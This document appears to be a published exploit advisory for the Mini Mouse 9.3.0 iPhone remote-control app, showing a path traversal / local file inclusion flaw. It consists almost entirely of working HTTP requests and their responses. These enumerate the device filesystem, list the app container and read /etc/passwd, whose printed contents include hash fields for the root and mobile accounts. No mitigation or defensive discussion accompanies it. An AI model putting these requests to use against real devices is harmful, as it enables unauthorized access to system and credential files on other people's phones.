Mini Mouse 9.3.0 – Local File inclusion
# Exploit Title: Mini Mouse 9.3.0 - Local File inclusion / Path Traversal # Author: gosh # Date: 05-04-2021 # Vendor Homepage: http://yodinfo.com # Software Link: https://apps.apple.com/us/app/mini-mouse-remote-control/id914250948 # Version: 9.3.0 # Tested on: iPhone; iOS 14.4.2 GET /op=get_device_info HTTP/1.1 Host: 192.168.1.104:8039 Accept: */* Accept-Language: en-TN;q=1, ar-TN;q=0.9, fr-TN;q=0.8 Connection: keep-alive Accept-Encoding: gzip, deflate User-Agent: MiniMouse/9.3.0 (iPhone; iOS 14.4.2; Scale/2.00) Content-Length: 0 HTTP/1.1 200 OK Server: bruce_wy/1.0.0 Access-Control-Allow-Methods: POST,GET,TRACE,OPTIONS Access-Control-Allow-Headers: Content-Type,Origin,Accept Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true P3P: CP=CAO PSA OUR Content-Type: application/json Content-Range: bytes 0-0/-1 { "ret_code": 1, "ret_msg": "success", "data": { "uuid": "7E07125B-61BE-4F12-820C-FA706C445219", "model": "iPhone", "sys_name": "iOS", "sys_version": "14.4.2", "battery_state": 0, "battery_level": -1, "memery_total_size": 2983772160, "device_name": "mobile", "user_name": "iPhone", "pwd": "", "dir_user": "/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents/Download", "dir_doc": "/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents", "dir_desktop": "/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Desktop", "sys_type": 3 } } ------------------------------------------------------------------------------------- POST /op=get_file_list HTTP/1.1 Host: 192.168.1.104:8039 Accept: */* Accept-Language: en-TN;q=1, ar-TN;q=0.9, fr-TN;q=0.8 Connection: keep-alive Accept-Encoding: gzip, deflate User-Agent: MiniMouse/9.3.0 (iPhone; iOS 14.4.2; Scale/2.00) Content-Length: 0 HTTP/1.1 200 OK Server: bruce_wy/1.0.0 Access-Control-Allow-Methods: POST,GET,TRACE,OPTIONS Access-Control-Allow-Headers: Content-Type,Origin,Accept Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true P3P: CP=CAO PSA OUR Content-Type: application/json Content-Range: bytes 0-0/-1 { "ret_code": 1, "ret_msg": "success", "data": { "list": [{ "path": "//usr", "is_local": true, "is_hide": false, "is_floder": true, "name": "usr", "name_display": "usr", "file_size": 288, "create_time": 0, "update_time": 0, "sys_type": 3 }, { "path": "//bin", "is_local": true, "is_hide": false, "is_floder": true, "name": "bin", "name_display": "bin", "file_size": 128, "create_time": 0, "update_time": 0, "sys_type": 3 }, { "path": "//sbin", "is_local": true, "is_hide": false, "is_floder": true, "name": "sbin", "name_display": "sbin", "file_size": 544, "create_time": 0, "update_time": 0, "sys_type": 3 }, { "path": "//.file", "is_local": true, "is_hide": true, "is_floder": false, "name": ".file", "name_display": ".file", "file_size": 0, "create_time": 0, "update_time": 0, "sys_type": 3 }, { "path": "//etc", "is_local": true, "is_hide": false, "is_floder": true, "name": "etc", "name_display": "etc", "file_size": 11, "create_time": 1577865.600000, "update_time": 1577865.600000, "sys_type": 3 }, { "path": "//System", "is_local": true, "is_hide": false, "is_floder": true, "name": "System", "name_display": "System", "file_size": 128, "create_time": 0, "update_time": 0, "sys_type": 3 }, { "path": "//var", "is_local": true, "is_hide": false, "is_floder": true, "name": "var", "name_display": "var", "file_size": 11, "create_time": 1577865.600000, "update_time": 1577865.600000, "sys_type": 3 }, { "path": "//Library", "is_local": true, "is_hide": false, "is_floder": true, "name": "Library", "name_display": "Library", "file_size": 672, "create_time": 0, "update_time": 0, "sys_type": 3 }, { "path": "//private", "is_local": true, "is_hide": false, "is_floder": true, "name": "private", "name_display": "private", "file_size": 224, "create_time": 0, "update_time": 0, "sys_type": 3 }, { "path": "//dev", "is_local": true, "is_hide": false, "is_floder": true, "name": "dev", "name_display": "dev", "file_size": 1395, "create_time": 0, "update_time": 0, "sys_type": 3 }, { "path": "//.ba", "is_local": true, "is_hide": true, "is_floder": true, "name": ".ba", "name_display": ".ba", "file_size": 64, "create_time": 0, "update_time": 0, "sys_type": 3 }, { "path": "//.mb", "is_local": true, "is_hide": true, "is_floder": true, "name": ".mb", "name_display": ".mb", "file_size": 64, "create_time": 0, "update_time": 0, "sys_type": 3 }, { "path": "//tmp", "is_local": true, "is_hide": false, "is_floder": true, "name": "tmp", "name_display": "tmp", "file_size": 15, "create_time": 1577865.600000, "update_time": 1577865.600000, "sys_type": 3 }, { "path": "//Applications", "is_local": true, "is_hide": false, "is_floder": true, "name": "Applications", "name_display": "Applications", "file_size": 3296, "create_time": 0, "update_time": 0, "sys_type": 3 }, { "path": "//Developer", "is_local": true, "is_hide": false, "is_floder": true, "name": "Developer", "name_display": "Developer", "file_size": 64, "create_time": 0, "update_time": 0, "sys_type": 3 }, { "path": "//cores", "is_local": true, "is_hide": false, "is_floder": true, "name": "cores", "name_display": "cores", "file_size": 64, "create_time": 0, "update_time": 0, "sys_type": 3 }] } } ------------------------- using the data found: /var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents/Download POST /op=get_file_list HTTP/1.1 Host: 192.168.1.104:8039 Accept: */* Accept-Language: en-TN;q=1, ar-TN;q=0.9, fr-TN;q=0.8 Connection: keep-alive Accept-Encoding: gzip, deflate User-Agent: MiniMouse/9.3.0 (iPhone; iOS 14.4.2; Scale/2.00) Content-Length: 101 {"path": "/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents/"} HTTP/1.1 200 OK Server: bruce_wy/1.0.0 Access-Control-Allow-Methods: POST,GET,TRACE,OPTIONS Access-Control-Allow-Headers: Content-Type,Origin,Accept Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true P3P: CP=CAO PSA OUR Content-Type: application/json Content-Range: bytes 0-0/-1 { "ret_code": 1, "ret_msg": "success", "data": { "list": [{ "path": "/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents//GDT", "is_local": true, "is_hide": false, "is_floder": true, "name": "GDT", "name_display": "GDT", "file_size": 96, "create_time": 1617228.400302, "update_time": 1617228.400302, "sys_type": 3 }, { "path": "/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents//input_photo.jpg", "is_local": true, "is_hide": false, "is_floder": false, "name": "input_photo.jpg", "name_display": "input_photo.jpg", "file_size": 6141491, "create_time": 1617583.738397, "update_time": 1617583.738402, "sys_type": 3 }, { "path": "/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents//Ico", "is_local": true, "is_hide": false, "is_floder": true, "name": "Ico", "name_display": "Ico", "file_size": 64, "create_time": 1617583.334913, "update_time": 1617583.334913, "sys_type": 3 }, { "path": "/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents//Download", "is_local": true, "is_hide": false, "is_floder": true, "name": "Download", "name_display": "Download", "file_size": 64, "create_time": 1617228.371587, "update_time": 1617228.371587, "sys_type": 3 }] } } ---------------------------------------------------------------------- GET /file=/etc/passwd HTTP/1.1 Host: 192.168.1.104:8039 Accept: */* Accept-Language: en-TN;q=1, ar-TN;q=0.9, fr-TN;q=0.8 Connection: keep-alive Accept-Encoding: gzip, deflate User-Agent: MiniMouse/9.3.0 (iPhone; iOS 14.4.2; Scale/2.00) Content-Length: 4 {} HTTP/1.1 200 OK Server: bruce_wy/1.0.0 Access-Control-Allow-Methods: POST,GET,TRACE,OPTIONS Access-Control-Allow-Headers: Content-Type,Origin,Accept Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true P3P: CP=CAO PSA OUR Content-Type: application/octet-stream Content-Range: bytes 0-0/2018 Content-Length : 2018 ## # User Database # # This file is the authoritative user database. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:/smx7MYTQIi2M:0:0:System Administrator:/var/root:/bin/sh mobile:/smx7MYTQIi2M:501:501:Mobile User:/var/mobile:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _ftp:*:98:-2:FTP Daemon:/var/empty:/usr/bin/false _networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false _wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false _installd:*:33:33:Install Daemon:/var/installd:/usr/bin/false _neagent:*:34:34:NEAgent:/var/empty:/usr/bin/false _ifccd:*:35:35:ifccd:/var/empty:/usr/bin/false _securityd:*:64:64:securityd:/var/empty:/usr/bin/false _mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false _sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false _unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false _distnote:*:241:241:Distributed Notifications:/var/empty:/usr/bin/false _astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false _ondemand:*:249:249:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false _findmydevice:*:254:254:Find My Device Daemon:/var/db/findmydevice:/usr/bin/false _datadetectors:*:257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false _captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false _analyticsd:*:263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false _timed:*:266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false _gpsd:*:267:267:GPS Daemon:/var/db/gpsd:/usr/bin/false _reportmemoryexception:*:269:269:ReportMemoryException:/var/empty:/usr/bin/false _diskimagesiod:*:271:271:DiskImages IO Daemon:/var/db/diskimagesiod:/usr/bin/false _logd:*:272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false _iconservices:*:276:276:Icon services:/var/empty:/usr/bin/false _fud:*:278:278:Firmware Update Daemon:/var/db/fud:/usr/bin/false _knowledgegraphd:*:279:279:Knowledge Graph Daemon:/var/db/knowledgegraphd:/usr/bin/false _coreml:*:280:280:CoreML Services:/var/empty:/usr/bin/false |